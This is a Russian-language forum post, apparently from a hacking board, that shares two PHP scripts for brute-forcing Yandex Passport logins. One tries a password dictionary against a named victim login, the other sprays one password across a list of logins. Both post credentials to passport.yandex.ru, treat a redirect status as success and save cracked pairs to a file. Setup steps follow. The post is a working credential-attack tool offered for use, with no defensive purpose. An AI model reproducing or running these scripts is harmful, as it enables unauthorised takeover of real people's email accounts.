да актуален
если хочеш заюзай мой скрипт (нужны сокеты)
для брута одного логина несколькими паролями
PHP код:
<?php
$login="логинжертвы";
$passfile = "pass.txt";
for ($doscriot=0;$doscriot<=count($contents);$doscriot++)
{
$passfile = "pass.txt";
$handle = fopen($passfile,"r");
$contents = fread($handle,filesize($passfile));
fclose($handle);
$contents = explode("\n",$contents);
$parol=trim($contents[$doscriot]);
$hostname = "passport.yandex.ru";
$path = "/passport";
$line = "";
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);
if (!$fp) echo "$errstr ($errno)<br />\n";
else
{
$data = "mode=auth&login=".$login."&passwd=".$parol."&retpath=http://mail.yandex.ru\r\n\r\n";
$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
fwrite($fp, $headers.$data);
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
if($line[9]=="3")
{
$zergood = 'good.txt';
$somecontent = " для логина ".$login." пароль ".$parol;
if (is_writable($zergood)) {
if (!$udacha = fopen($zergood, 'a')) {
echo "Не могу открыть файл ($zergood)";
exit;
}
if (fwrite($udacha, $somecontent) === FALSE) {
echo "Не могу произвести запись в файл ($zergood)";
exit;
}
echo "Ура! сбручено ($somecontent) и записано в файл ($zergood)";
fclose($udacha);
} else {
echo "Файл $zergood недоступен для записи";
}
}
}
?>
создаём ещё файлы good.txt куда запишется удачная комбинация
и файл pass.txt со словарём для брута (список паролей)
на все файлы права 777
для брута одним паролем на несколько логинов
PHP код:
<?php
$parol="пароль";
$loginsfile = "login.txt";
for ($doscriot=0;$doscriot<=count($contents);$doscriot++)
{
$loginsfile = "login.txt";
$handle = fopen($loginsfile,"r");
$contents = fread($handle,filesize($loginsfile));
fclose($handle);
$contents = explode("\n",$contents);
$loginsss=trim($contents[$doscriot]);
$hostname = "passport.yandex.ru";
$path = "/passport";
$line = "";
$fp = fsockopen($hostname, 80, $errno, $errstr, 30);
if (!$fp) echo "$errstr ($errno)<br />\n";
else
{
$data = "mode=auth&login=".$loginsss."&passwd=".$parol."&retpath=http://mail.yandex.ru\r\n\r\n";
$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";
fwrite($fp, $headers.$data);
while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
if($line[9]=="3")
{
$zergood = 'good.txt';
$somecontent = " у пароля ".$parol." логин ".$loginsss;
if (is_writable($zergood)) {
if (!$udacha = fopen($zergood, 'a')) {
echo "Не могу открыть файл ($zergood)";
exit;
}
if (fwrite($udacha, $somecontent) === FALSE) {
echo "Не могу произвести запись в файл ($zergood)";
exit;
}
echo "Ура! сбручено ($somecontent) и записано в файл ($zergood)";
fclose($udacha);
} else {
echo "Файл $zergood недоступен для записи";
}
}
}
?>
создаём ещё файлы good.txt куда запишется удачные комбинации
и файл login.txt со словарём для брута (список логинов)
на все файлы права 777
|